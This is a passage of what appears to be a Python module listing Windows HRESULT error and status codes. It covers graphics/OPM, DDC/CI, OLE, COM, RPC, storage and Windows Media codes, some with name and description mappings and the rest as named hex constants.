0xC0262512: ("ERROR_GRAPHICS_OPM_INVALID_SRM", "The High-Bandwidth Digital Content Protection (HDCP) System Renewability Message (SRM) passed to this function did not comply with section 5 of the HDCP 1.1 specification."),
0xC0262513: ("ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP", "The video output cannot enable the HDCP system because it does not support it."),
0xC0262514: ("ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP", "The video output cannot enable analog copy protection because it does not support it."),
0xC0262515: ("ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA", "The video output cannot enable the Content Generation Management System Analog (CGMS-A) protection technology because it does not support it."),
0xC0262516: ("ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET", "IOPMVideoOutput's GetInformation() method cannot return the version of the SRM being used because the application never successfully passed an SRM to the video output."),
0xC0262517: ("ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH", "IOPMVideoOutput's Configure() method cannot enable the specified output protection technology because the output's screen resolution is too high."),
0xC0262518: ("ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE", "IOPMVideoOutput's Configure() method cannot enable HDCP because the display adapter's HDCP hardware is already being used by other physical outputs."),
0xC0262519: ("ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS", "The operating system asynchronously destroyed this OPM video output because the operating system's state changed. This error typically occurs because the monitor physical device object (PDO) associated with this video output was removed, the monitor PDO associated with this video output was stopped, the video output's session became a nonconsole session or the video output's desktop became an inactive desktop."),
0xC026251A: ("ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS", "IOPMVideoOutput's methods cannot be called when a session is changing its type. There are currently three types of sessions: console, disconnected and remote (remote desktop protocol [RDP] or Independent Computing Architecture [ICA])."),
0xC0262580: ("ERROR_GRAPHICS_I2C_NOT_SUPPORTED", "The monitor connected to the specified video output does not have an I2C bus."),
0xC0262581: ("ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST", "No device on the I2C bus has the specified address."),
0xC0262582: ("ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA", "An error occurred while transmitting data to the device on the I2C bus."),
0xC0262583: ("ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA", "An error occurred while receiving data from the device on the I2C bus."),
0xC0262584: ("ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED", "The monitor does not support the specified Virtual Control Panel (VCP) code."),
0xC0262585: ("ERROR_GRAPHICS_DDCCI_INVALID_DATA", "The data received from the monitor is invalid."),
0xC0262586: ("ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE", "A function call failed because a monitor returned an invalid Timing Status byte when the operating system used the Display Data Channel Command Interface (DDC/CI) Get Timing Report and Timing Message command to get a timing report from a monitor."),
0xC0262587: ("ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING", "The monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1 or MCCS 2 Revision 1 specification."),
0xC0262588: ("ERROR_GRAPHICS_MCA_INTERNAL_ERROR", "An internal Monitor Configuration API error occurred."),
0xC0262589: ("ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND", "An operation failed because a DDC/CI message had an invalid value in its command field."),
0xC026258A: ("ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH", "This error occurred because a DDC/CI message length field contained an invalid value."),
0xC026258B: ("ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM", "This error occurred because the value in a DDC/CI message checksum field did not match the message's computed checksum value. This error implies that the data was corrupted while it was being transmitted from a monitor to a computer."),
0xC02625D6: ("ERROR_GRAPHICS_PMEA_INVALID_MONITOR", "The HMONITOR no longer exists, is not attached to the desktop, or corresponds to a mirroring device."),
0xC02625D7: ("ERROR_GRAPHICS_PMEA_INVALID_D3D_DEVICE", "The Direct3D (D3D) device's GDI display device no longer exists, is not attached to the desktop, or is a mirroring display device."),
0xC02625D8: ("ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE", "A continuous VCP code's current value is greater than its maximum value. This error code indicates that a monitor returned an invalid value."),
0xC02625D9: ("ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION", "The monitor's VCP Version (0xDF) VCP code returned an invalid version value."),
0xC02625DA: ("ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION", "The monitor does not comply with the Monitor Control Command Set (MCCS) specification it claims to support."),
0xC02625DB: ("ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH", "The MCCS version in a monitor's mccs_ver capability does not match the MCCS version the monitor reports when the VCP Version (0xDF) VCP code is used."),
0xC02625DC: ("ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION", "The Monitor Configuration API only works with monitors that support the MCCS 1.0 specification, the MCCS 2.0 specification, or the MCCS 2.0 Revision 1 specification."),
0xC02625DE: ("ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED", "The monitor returned an invalid monitor technology type. CRT, plasma, and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
0xC02625DF: ("ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE", "The SetMonitorColorTemperature() caller passed a color temperature to it that the current monitor did not support. CRT, plasma, and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
0xC02625E0: ("ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED", "This function can be used only if a program is running in the local console session. It cannot be used if the program is running on a remote desktop session or on a terminal server session."),
}
# Error Codes
STG_S_CONVERTED = 0x00030200
STG_S_BLOCK = 0x00030201
STG_S_RETRYNOW = 0x00030202
STG_S_MONITORING = 0x00030203
STG_S_MULTIPLEOPENS = 0x00030204
STG_S_CONSOLIDATIONFAILED = 0x00030205
STG_S_CANNOTCONSOLIDATE = 0x00030206
OLE_S_USEREG = 0x00040000
OLE_S_STATIC = 0x00040001
OLE_S_MAC_CLIPFORMAT = 0x00040002
DRAGDROP_S_DROP = 0x00040100
DRAGDROP_S_CANCEL = 0x00040101
DRAGDROP_S_USEDEFAULTCURSORS = 0x00040102
DATA_S_SAMEFORMATETC = 0x00040130
VIEW_S_ALREADY_FROZEN = 0x00040140
CACHE_S_FORMATETC_NOTSUPPORTED = 0x00040170
CACHE_S_SAMECACHE = 0x00040171
CACHE_S_SOMECACHES_NOTUPDATED = 0x00040172
OLEOBJ_S_INVALIDVERB = 0x00040180
OLEOBJ_S_CANNOT_DOVERB_NOW = 0x00040181
OLEOBJ_S_INVALIDHWND = 0x00040182
INPLACE_S_TRUNCATED = 0x000401A0
CONVERT10_S_NO_PRESENTATION = 0x000401C0
MK_S_REDUCED_TO_SELF = 0x000401E2
MK_S_ME = 0x000401E4
MK_S_HIM = 0x000401E5
MK_S_US = 0x000401E6
MK_S_MONIKERALREADYREGISTERED = 0x000401E7
EVENT_S_SOME_SUBSCRIBERS_FAILED = 0x00040200
EVENT_S_NOSUBSCRIBERS = 0x00040202
SCHED_S_TASK_READY = 0x00041300
SCHED_S_TASK_RUNNING = 0x00041301
SCHED_S_TASK_DISABLED = 0x00041302
SCHED_S_TASK_HAS_NOT_RUN = 0x00041303
SCHED_S_TASK_NO_MORE_RUNS = 0x00041304
SCHED_S_TASK_NOT_SCHEDULED = 0x00041305
SCHED_S_TASK_TERMINATED = 0x00041306
SCHED_S_TASK_NO_VALID_TRIGGERS = 0x00041307
SCHED_S_EVENT_TRIGGER = 0x00041308
SCHED_S_SOME_TRIGGERS_FAILED = 0x0004131B
SCHED_S_BATCH_LOGON_PROBLEM = 0x0004131C
XACT_S_ASYNC = 0x0004D000
XACT_S_READONLY = 0x0004D002
XACT_S_SOMENORETAIN = 0x0004D003
XACT_S_OKINFORM = 0x0004D004
XACT_S_MADECHANGESCONTENT = 0x0004D005
XACT_S_MADECHANGESINFORM = 0x0004D006
XACT_S_ALLNORETAIN = 0x0004D007
XACT_S_ABORTING = 0x0004D008
XACT_S_SINGLEPHASE = 0x0004D009
XACT_S_LOCALLY_OK = 0x0004D00A
XACT_S_LASTRESOURCEMANAGER = 0x0004D010
CO_S_NOTALLINTERFACES = 0x00080012
CO_S_MACHINENAMENOTFOUND = 0x00080013
SEC_I_CONTINUE_NEEDED = 0x00090312
SEC_I_COMPLETE_NEEDED = 0x00090313
SEC_I_COMPLETE_AND_CONTINUE = 0x00090314
SEC_I_LOCAL_LOGON = 0x00090315
SEC_I_CONTEXT_EXPIRED = 0x00090317
SEC_I_INCOMPLETE_CREDENTIALS = 0x00090320
SEC_I_RENEGOTIATE = 0x00090321
SEC_I_NO_LSA_CONTEXT = 0x00090323
SEC_I_SIGNATURE_NEEDED = 0x0009035C
CRYPT_I_NEW_PROTECTION_REQUIRED = 0x00091012
NS_S_CALLPENDING = 0x000D0000
NS_S_CALLABORTED = 0x000D0001
NS_S_STREAM_TRUNCATED = 0x000D0002
NS_S_REBUFFERING = 0x000D0BC8
NS_S_DEGRADING_QUALITY = 0x000D0BC9
NS_S_TRANSCRYPTOR_EOF = 0x000D0BDB
NS_S_WMP_UI_VERSIONMISMATCH = 0x000D0FE8
NS_S_WMP_EXCEPTION = 0x000D0FE9
NS_S_WMP_LOADED_GIF_IMAGE = 0x000D1040
NS_S_WMP_LOADED_PNG_IMAGE = 0x000D1041
NS_S_WMP_LOADED_BMP_IMAGE = 0x000D1042
NS_S_WMP_LOADED_JPG_IMAGE = 0x000D1043
NS_S_WMG_FORCE_DROP_FRAME = 0x000D104F
NS_S_WMR_ALREADYRENDERED = 0x000D105F
NS_S_WMR_PINTYPEPARTIALMATCH = 0x000D1060
NS_S_WMR_PINTYPEFULLMATCH = 0x000D1061
NS_S_WMG_ADVISE_DROP_FRAME = 0x000D1066
NS_S_WMG_ADVISE_DROP_TO_KEYFRAME = 0x000D1067
NS_S_NEED_TO_BUY_BURN_RIGHTS = 0x000D10DB
NS_S_WMPCORE_PLAYLISTCLEARABORT = 0x000D10FE
NS_S_WMPCORE_PLAYLISTREMOVEITEMABORT = 0x000D10FF
NS_S_WMPCORE_PLAYLIST_CREATION_PENDING = 0x000D1102
NS_S_WMPCORE_MEDIA_VALIDATION_PENDING = 0x000D1103
NS_S_WMPCORE_PLAYLIST_REPEAT_SECONDARY_SEGMENTS_IGNORED = 0x000D1104
NS_S_WMPCORE_COMMAND_NOT_AVAILABLE = 0x000D1105
NS_S_WMPCORE_PLAYLIST_NAME_AUTO_GENERATED = 0x000D1106
NS_S_WMPCORE_PLAYLIST_IMPORT_MISSING_ITEMS = 0x000D1107
NS_S_WMPCORE_PLAYLIST_COLLAPSED_TO_SINGLE_MEDIA = 0x000D1108
NS_S_WMPCORE_MEDIA_CHILD_PLAYLIST_OPEN_PENDING = 0x000D1109
NS_S_WMPCORE_MORE_NODES_AVAIABLE = 0x000D110A
NS_S_WMPBR_SUCCESS = 0x000D1135
NS_S_WMPBR_PARTIALSUCCESS = 0x000D1136
NS_S_WMPEFFECT_TRANSPARENT = 0x000D1144
NS_S_WMPEFFECT_OPAQUE = 0x000D1145
NS_S_OPERATION_PENDING = 0x000D114E
NS_S_TRACK_BUY_REQUIRES_ALBUM_PURCHASE = 0x000D1359
NS_S_NAVIGATION_COMPLETE_WITH_ERRORS = 0x000D135E
NS_S_TRACK_ALREADY_DOWNLOADED = 0x000D1361
NS_S_PUBLISHING_POINT_STARTED_WITH_FAILED_SINKS = 0x000D1519
NS_S_DRM_LICENSE_ACQUIRED = 0x000D2726
NS_S_DRM_INDIVIDUALIZED = 0x000D2727
NS_S_DRM_MONITOR_CANCELLED = 0x000D2746
NS_S_DRM_ACQUIRE_CANCELLED = 0x000D2747
NS_S_DRM_BURNABLE_TRACK = 0x000D276E
NS_S_DRM_BURNABLE_TRACK_WITH_PLAYLIST_RESTRICTION = 0x000D276F
NS_S_DRM_NEEDS_INDIVIDUALIZATION = 0x000D27DE
NS_S_REBOOT_RECOMMENDED = 0x000D2AF8
NS_S_REBOOT_REQUIRED = 0x000D2AF9
NS_S_EOSRECEDING = 0x000D2F09
NS_S_CHANGENOTICE = 0x000D2F0D
ERROR_FLT_IO_COMPLETE = 0x001F0001
ERROR_GRAPHICS_MODE_NOT_PINNED = 0x00262307
ERROR_GRAPHICS_NO_PREFERRED_MODE = 0x0026231E
ERROR_GRAPHICS_DATASET_IS_EMPTY = 0x0026234B
ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET = 0x0026234C
ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED = 0x00262351
PLA_S_PROPERTY_IGNORED = 0x00300100
ERROR_NDIS_INDICATION_REQUIRED = 0x00340001
TRK_S_OUT_OF_SYNC = 0x0DEAD100
TRK_VOLUME_NOT_FOUND = 0x0DEAD102
TRK_VOLUME_NOT_OWNED = 0x0DEAD103
TRK_S_NOTIFICATION_QUOTA_EXCEEDED = 0x0DEAD107
NS_I_TIGER_START = 0x400D004F
NS_I_CUB_START = 0x400D0051
NS_I_CUB_RUNNING = 0x400D0052
NS_I_DISK_START = 0x400D0054
NS_I_DISK_REBUILD_STARTED = 0x400D0056
NS_I_DISK_REBUILD_FINISHED = 0x400D0057
NS_I_DISK_REBUILD_ABORTED = 0x400D0058
NS_I_LIMIT_FUNNELS = 0x400D0059
NS_I_START_DISK = 0x400D005A
NS_I_STOP_DISK = 0x400D005B
NS_I_STOP_CUB = 0x400D005C
NS_I_KILL_USERSESSION = 0x400D005D
NS_I_KILL_CONNECTION = 0x400D005E
NS_I_REBUILD_DISK = 0x400D005F
MCMADM_I_NO_EVENTS = 0x400D0069
NS_I_LOGGING_FAILED = 0x400D006E
NS_I_LIMIT_BANDWIDTH = 0x400D0070
NS_I_CUB_UNFAIL_LINK = 0x400D0191
NS_I_RESTRIPE_START = 0x400D0193
NS_I_RESTRIPE_DONE = 0x400D0194
NS_I_RESTRIPE_DISK_OUT = 0x400D0196
NS_I_RESTRIPE_CUB_OUT = 0x400D0197
NS_I_DISK_STOP = 0x400D0198
NS_I_PLAYLIST_CHANGE_RECEDING = 0x400D14BE
NS_I_RECONNECTED = 0x400D2EFF
NS_I_NOLOG_STOP = 0x400D2F01
NS_I_EXISTING_PACKETIZER = 0x400D2F03
NS_I_MANUAL_PROXY = 0x400D2F04
ERROR_GRAPHICS_DRIVER_MISMATCH = 0x40262009
ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS = 0x4026242F
ERROR_GRAPHICS_LEADLINK_START_DEFERRED = 0x40262437
ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY = 0x40262439
ERROR_GRAPHICS_START_DEFERRED = 0x4026243A
E_PENDING = 0x8000000A
E_NOTIMPL = 0x80004001
E_NOINTERFACE = 0x80004002
E_POINTER = 0x80004003
E_ABORT = 0x80004004
E_FAIL = 0x80004005
CO_E_INIT_TLS = 0x80004006
CO_E_INIT_SHARED_ALLOCATOR = 0x80004007
CO_E_INIT_MEMORY_ALLOCATOR = 0x80004008
CO_E_INIT_CLASS_CACHE = 0x80004009
CO_E_INIT_RPC_CHANNEL = 0x8000400A
CO_E_INIT_TLS_SET_CHANNEL_CONTROL = 0x8000400B
CO_E_INIT_TLS_CHANNEL_CONTROL = 0x8000400C
CO_E_INIT_UNACCEPTED_USER_ALLOCATOR = 0x8000400D
CO_E_INIT_SCM_MUTEX_EXISTS = 0x8000400E
CO_E_INIT_SCM_FILE_MAPPING_EXISTS = 0x8000400F
CO_E_INIT_SCM_MAP_VIEW_OF_FILE = 0x80004010
CO_E_INIT_SCM_EXEC_FAILURE = 0x80004011
CO_E_INIT_ONLY_SINGLE_THREADED = 0x80004012
CO_E_CANT_REMOTE = 0x80004013
CO_E_BAD_SERVER_NAME = 0x80004014
CO_E_WRONG_SERVER_IDENTITY = 0x80004015
CO_E_OLE1DDE_DISABLED = 0x80004016
CO_E_RUNAS_SYNTAX = 0x80004017
CO_E_CREATEPROCESS_FAILURE = 0x80004018
CO_E_RUNAS_CREATEPROCESS_FAILURE = 0x80004019
CO_E_RUNAS_LOGON_FAILURE = 0x8000401A
CO_E_LAUNCH_PERMSSION_DENIED = 0x8000401B
CO_E_START_SERVICE_FAILURE = 0x8000401C
CO_E_REMOTE_COMMUNICATION_FAILURE = 0x8000401D
CO_E_SERVER_START_TIMEOUT = 0x8000401E
CO_E_CLSREG_INCONSISTENT = 0x8000401F
CO_E_IIDREG_INCONSISTENT = 0x80004020
CO_E_NOT_SUPPORTED = 0x80004021
CO_E_RELOAD_DLL = 0x80004022
CO_E_MSI_ERROR = 0x80004023
CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT = 0x80004024
CO_E_SERVER_PAUSED = 0x80004025
CO_E_SERVER_NOT_PAUSED = 0x80004026
CO_E_CLASS_DISABLED = 0x80004027
CO_E_CLRNOTAVAILABLE = 0x80004028
CO_E_ASYNC_WORK_REJECTED = 0x80004029
CO_E_SERVER_INIT_TIMEOUT = 0x8000402A
CO_E_NO_SECCTX_IN_ACTIVATE = 0x8000402B
CO_E_TRACKER_CONFIG = 0x80004030
CO_E_THREADPOOL_CONFIG = 0x80004031
CO_E_SXS_CONFIG = 0x80004032
CO_E_MALFORMED_SPN = 0x80004033
E_UNEXPECTED = 0x8000FFFF
RPC_E_CALL_REJECTED = 0x80010001
RPC_E_CALL_CANCELED = 0x80010002
RPC_E_CANTPOST_INSENDCALL = 0x80010003
RPC_E_CANTCALLOUT_INASYNCCALL = 0x80010004
RPC_E_CANTCALLOUT_INEXTERNALCALL = 0x80010005
RPC_E_CONNECTION_TERMINATED = 0x80010006
RPC_E_SERVER_DIED = 0x80010007
RPC_E_CLIENT_DIED = 0x80010008
RPC_E_INVALID_DATAPACKET = 0x80010009
RPC_E_CANTTRANSMIT_CALL = 0x8001000A
RPC_E_CLIENT_CANTMARSHAL_DATA = 0x8001000B
RPC_E_CLIENT_CANTUNMARSHAL_DATA = 0x8001000C
RPC_E_SERVER_CANTMARSHAL_DATA = 0x8001000D
RPC_E_SERVER_CANTUNMARSHAL_DATA = 0x8001000E
RPC_E_INVALID_DATA = 0x8001000F
RPC_E_INVALID_PARAMETER = 0x80010010
RPC_E_CANTCALLOUT_AGAIN = 0x80010011
RPC_E_SERVER_DIED_DNE = 0x80010012
RPC_E_SYS_CALL_FAILED = 0x80010100
RPC_E_OUT_OF_RESOURCES = 0x80010101
RPC_E_ATTEMPTED_MULTITHREAD = 0x80010102
RPC_E_NOT_REGISTERED = 0x80010103
RPC_E_FAULT = 0x80010104
RPC_E_SERVERFAULT = 0x80010105
RPC_E_CHANGED_MODE = 0x80010106
RPC_E_INVALIDMETHOD = 0x80010107
RPC_E_DISCONNECTED = 0x80010108
RPC_E_RETRY = 0x80010109
RPC_E_SERVERCALL_RETRYLATER = 0x8001010A
RPC_E_SERVERCALL_REJECTED = 0x8001010B
RPC_E_INVALID_CALLDATA = 0x8001010C
RPC_E_CANTCALLOUT_ININPUTSYNCCALL = 0x8001010D
RPC_E_WRONG_THREAD = 0x8001010E
RPC_E_THREAD_NOT_INIT = 0x8001010F
RPC_E_VERSION_MISMATCH = 0x80010110
RPC_E_INVALID_HEADER = 0x80010111
RPC_E_INVALID_EXTENSION = 0x80010112
RPC_E_INVALID_IPID = 0x80010113
RPC_E_INVALID_OBJECT = 0x80010114
RPC_S_CALLPENDING = 0x80010115
RPC_S_WAITONTIMER = 0x80010116
RPC_E_CALL_COMPLETE = 0x80010117
RPC_E_UNSECURE_CALL = 0x80010118
RPC_E_TOO_LATE = 0x80010119
RPC_E_NO_GOOD_SECURITY_PACKAGES = 0x8001011A
RPC_E_ACCESS_DENIED = 0x8001011B
RPC_E_REMOTE_DISABLED = 0x8001011C
RPC_E_INVALID_OBJREF = 0x8001011D
RPC_E_NO_CONTEXT = 0x8001011E
RPC_E_TIMEOUT = 0x8001011F
RPC_E_NO_SYNC = 0x80010120
RPC_E_FULLSIC_REQUIRED = 0x80010121
RPC_E_INVALID_STD_NAME = 0x80010122
CO_E_FAILEDTOIMPERSONATE = 0x80010123
CO_E_FAILEDTOGETSECCTX = 0x80010124
CO_E_FAILEDTOOPENTHREADTOKEN = 0x80010125
CO_E_FAILEDTOGETTOKENINFO = 0x80010126
CO_E_TRUSTEEDOESNTMATCHCLIENT = 0x80010127
CO_E_FAILEDTOQUERYCLIENTBLANKET = 0x80010128
CO_E_FAILEDTOSETDACL = 0x80010129
CO_E_ACCESSCHECKFAILED = 0x8001012A
CO_E_NETACCESSAPIFAILED = 0x8001012B
CO_E_WRONGTRUSTEENAMESYNTAX = 0x8001012C
CO_E_INVALIDSID = 0x8001012D
CO_E_CONVERSIONFAILED = 0x8001012E
CO_E_NOMATCHINGSIDFOUND = 0x8001012F
CO_E_LOOKUPACCSIDFAILED = 0x80010130
CO_E_NOMATCHINGNAMEFOUND = 0x80010131
CO_E_LOOKUPACCNAMEFAILED = 0x80010132
CO_E_SETSERLHNDLFAILED = 0x80010133
CO_E_FAILEDTOGETWINDIR = 0x80010134
CO_E_PATHTOOLONG = 0x80010135
CO_E_FAILEDTOGENUUID = 0x80010136
CO_E_FAILEDTOCREATEFILE = 0x80010137
CO_E_FAILEDTOCLOSEHANDLE = 0x80010138
CO_E_EXCEEDSYSACLLIMIT = 0x80010139
CO_E_ACESINWRONGORDER = 0x8001013A
CO_E_INCOMPATIBLESTREAMVERSION = 0x8001013B
CO_E_FAILEDTOOPENPROCESSTOKEN = 0x8001013C
CO_E_DECODEFAILED = 0x8001013D
CO_E_ACNOTINITIALIZED = 0x8001013F
CO_E_CANCEL_DISABLED = 0x80010140
RPC_E_UNEXPECTED = 0x8001FFFF
DISP_E_UNKNOWNINTERFACE = 0x80020001
DISP_E_MEMBERNOTFOUND = 0x80020003
DISP_E_PARAMNOTFOUND = 0x80020004
DISP_E_TYPEMISMATCH = 0x80020005
DISP_E_UNKNOWNNAME = 0x80020006
DISP_E_NONAMEDARGS = 0x80020007
DISP_E_BADVARTYPE = 0x80020008
DISP_E_EXCEPTION = 0x80020009
DISP_E_OVERFLOW = 0x8002000A
DISP_E_BADINDEX = 0x8002000B
DISP_E_UNKNOWNLCID = 0x8002000C
DISP_E_ARRAYISLOCKED = 0x8002000D
DISP_E_BADPARAMCOUNT = 0x8002000E
DISP_E_PARAMNOTOPTIONAL = 0x8002000F
DISP_E_BADCALLEE = 0x80020010
DISP_E_NOTACOLLECTION = 0x80020011
DISP_E_DIVBYZERO = 0x80020012
DISP_E_BUFFERTOOSMALL = 0x80020013
TYPE_E_BUFFERTOOSMALL = 0x80028016
TYPE_E_FIELDNOTFOUND = 0x80028017
TYPE_E_INVDATAREAD = 0x80028018
TYPE_E_UNSUPFORMAT = 0x80028019
TYPE_E_REGISTRYACCESS = 0x8002801C
TYPE_E_LIBNOTREGISTERED = 0x8002801D
TYPE_E_UNDEFINEDTYPE = 0x80028027
TYPE_E_QUALIFIEDNAMEDISALLOWED = 0x80028028
TYPE_E_INVALIDSTATE = 0x80028029
TYPE_E_WRONGTYPEKIND = 0x8002802A
TYPE_E_ELEMENTNOTFOUND = 0x8002802B
TYPE_E_AMBIGUOUSNAME = 0x8002802C
TYPE_E_NAMECONFLICT = 0x8002802D
TYPE_E_UNKNOWNLCID = 0x8002802E
TYPE_E_DLLFUNCTIONNOTFOUND = 0x8002802F
TYPE_E_BADMODULEKIND = 0x800288BD
TYPE_E_SIZETOOBIG = 0x800288C5
TYPE_E_DUPLICATEID = 0x800288C6
TYPE_E_INVALIDID = 0x800288CF
TYPE_E_TYPEMISMATCH = 0x80028CA0
TYPE_E_OUTOFBOUNDS = 0x80028CA1
TYPE_E_IOERROR = 0x80028CA2
TYPE_E_CANTCREATETMPFILE = 0x80028CA3
TYPE_E_CANTLOADLIBRARY = 0x80029C4A
TYPE_E_INCONSISTENTPROPFUNCS = 0x80029C83
TYPE_E_CIRCULARTYPE = 0x80029C84
STG_E_INVALIDFUNCTION = 0x80030001
STG_E_FILENOTFOUND = 0x80030002
STG_E_PATHNOTFOUND = 0x80030003
STG_E_TOOMANYOPENFILES = 0x80030004
STG_E_ACCESSDENIED = 0x80030005
STG_E_INVALIDHANDLE = 0x80030006
STG_E_INSUFFICIENTMEMORY = 0x80030008
STG_E_INVALIDPOINTER = 0x80030009
STG_E_NOMOREFILES = 0x80030012
STG_E_DISKISWRITEPROTECTED = 0x80030013
STG_E_SEEKERROR = 0x80030019
STG_E_WRITEFAULT = 0x8003001D
STG_E_READFAULT = 0x8003001E
STG_E_SHAREVIOLATION = 0x80030020
STG_E_LOCKVIOLATION = 0x80030021
STG_E_FILEALREADYEXISTS = 0x80030050
STG_E_INVALIDPARAMETER = 0x80030057
STG_E_MEDIUMFULL = 0x80030070
STG_E_PROPSETMISMATCHED = 0x800300F0
STG_E_ABNORMALAPIEXIT = 0x800300FA
STG_E_INVALIDHEADER = 0x800300FB
STG_E_INVALIDNAME = 0x800300FC
STG_E_UNKNOWN = 0x800300FD
STG_E_UNIMPLEMENTEDFUNCTION = 0x800300FE
STG_E_INVALIDFLAG = 0x800300FF
STG_E_INUSE = 0x80030100
STG_E_NOTCURRENT = 0x80030101
STG_E_REVERTED = 0x80030102
STG_E_CANTSAVE = 0x80030103
STG_E_OLDFORMAT = 0x80030104
STG_E_OLDDLL = 0x80030105
STG_E_SHAREREQUIRED = 0x80030106
STG_E_NOTFILEBASEDSTORAGE = 0x80030107
STG_E_EXTANTMARSHALLINGS = 0x80030108
STG_E_DOCFILECORRUPT = 0x80030109
STG_E_BADBASEADDRESS = 0x80030110
STG_E_DOCFILETOOLARGE = 0x80030111
STG_E_NOTSIMPLEFORMAT = 0x80030112
STG_E_INCOMPLETE = 0x80030201
STG_E_TERMINATED = 0x80030202
STG_E_STATUS_COPY_PROTECTION_FAILURE = 0x80030305
STG_E_CSS_AUTHENTICATION_FAILURE = 0x80030306
STG_E_CSS_KEY_NOT_PRESENT = 0x80030307
STG_E_CSS_KEY_NOT_ESTABLISHED = 0x80030308
STG_E_CSS_SCRAMBLED_SECTOR = 0x80030309
STG_E_CSS_REGION_MISMATCH = 0x8003030A
STG_E_RESETS_EXHAUSTED = 0x8003030B
OLE_E_OLEVERB = 0x80040000
OLE_E_ADVF = 0x80040001
OLE_E_ENUM_NOMORE = 0x80040002
OLE_E_ADVISENOTSUPPORTED = 0x80040003
OLE_E_NOCONNECTION = 0x80040004
OLE_E_NOTRUNNING = 0x80040005
OLE_E_NOCACHE = 0x80040006
OLE_E_BLANK = 0x80040007
OLE_E_CLASSDIFF = 0x80040008
OLE_E_CANT_GETMONIKER = 0x80040009
OLE_E_CANT_BINDTOSOURCE = 0x8004000A
OLE_E_STATIC = 0x8004000B
OLE_E_PROMPTSAVECANCELLED = 0x8004000C
OLE_E_INVALIDRECT = 0x8004000D
OLE_E_WRONGCOMPOBJ = 0x8004000E
OLE_E_INVALIDHWND = 0x8004000F
OLE_E_NOT_INPLACEACTIVE = 0x80040010
OLE_E_CANTCONVERT = 0x80040011
OLE_E_NOSTORAGE = 0x80040012
DV_E_FORMATETC = 0x80040064
DV_E_DVTARGETDEVICE = 0x80040065
DV_E_STGMEDIUM = 0x80040066
DV_E_STATDATA = 0x80040067
DV_E_LINDEX = 0x80040068
DV_E_TYMED = 0x80040069
DV_E_CLIPFORMAT = 0x8004006A
DV_E_DVASPECT = 0x8004006B
DV_E_DVTARGETDEVICE_SIZE = 0x8004006C
DV_E_NOIVIEWOBJECT = 0x8004006D
DRAGDROP_E_NOTREGISTERED = 0x80040100
DRAGDROP_E_ALREADYREGISTERED = 0x80040101
DRAGDROP_E_INVALIDHWND = 0x80040102
CLASS_E_NOAGGREGATION = 0x80040110
CLASS_E_CLASSNOTAVAILABLE = 0x80040111
CLASS_E_NOTLICENSED = 0x80040112
VIEW_E_DRAW = 0x80040140
REGDB_E_READREGDB = 0x80040150
REGDB_E_WRITEREGDB = 0x80040151
REGDB_E_KEYMISSING = 0x80040152
REGDB_E_INVALIDVALUE = 0x80040153
REGDB_E_CLASSNOTREG = 0x80040154
REGDB_E_IIDNOTREG = 0x80040155
REGDB_E_BADTHREADINGMODEL = 0x80040156
CAT_E_CATIDNOEXIST = 0x80040160
CAT_E_NODESCRIPTION = 0x80040161
CS_E_PACKAGE_NOTFOUND = 0x80040164
CS_E_NOT_DELETABLE = 0x80040165
CS_E_CLASS_NOTFOUND = 0x80040166
CS_E_INVALID_VERSION = 0x80040167
CS_E_NO_CLASSSTORE = 0x80040168
CS_E_OBJECT_NOTFOUND = 0x80040169
CS_E_OBJECT_ALREADY_EXISTS = 0x8004016A
CS_E_INVALID_PATH = 0x8004016B
CS_E_NETWORK_ERROR = 0x8004016C
CS_E_ADMIN_LIMIT_EXCEEDED = 0x8004016D
CS_E_SCHEMA_MISMATCH = 0x8004016E
CS_E_INTERNAL_ERROR = 0x8004016F
CACHE_E_NOCACHE_UPDATED = 0x80040170
OLEOBJ_E_NOVERBS = 0x80040180
OLEOBJ_E_INVALIDVERB = 0x80040181
INPLACE_E_NOTUNDOABLE = 0x800401A0
INPLACE_E_NOTOOLSPACE = 0x800401A1
CONVERT10_E_OLESTREAM_GET = 0x800401C0
CONVERT10_E_OLESTREAM_PUT = 0x800401C1
CONVERT10_E_OLESTREAM_FMT = 0x800401C2
CONVERT10_E_OLESTREAM_BITMAP_TO_DIB = 0x800401C3
CONVERT10_E_STG_FMT = 0x800401C4
CONVERT10_E_STG_NO_STD_STREAM = 0x800401C5
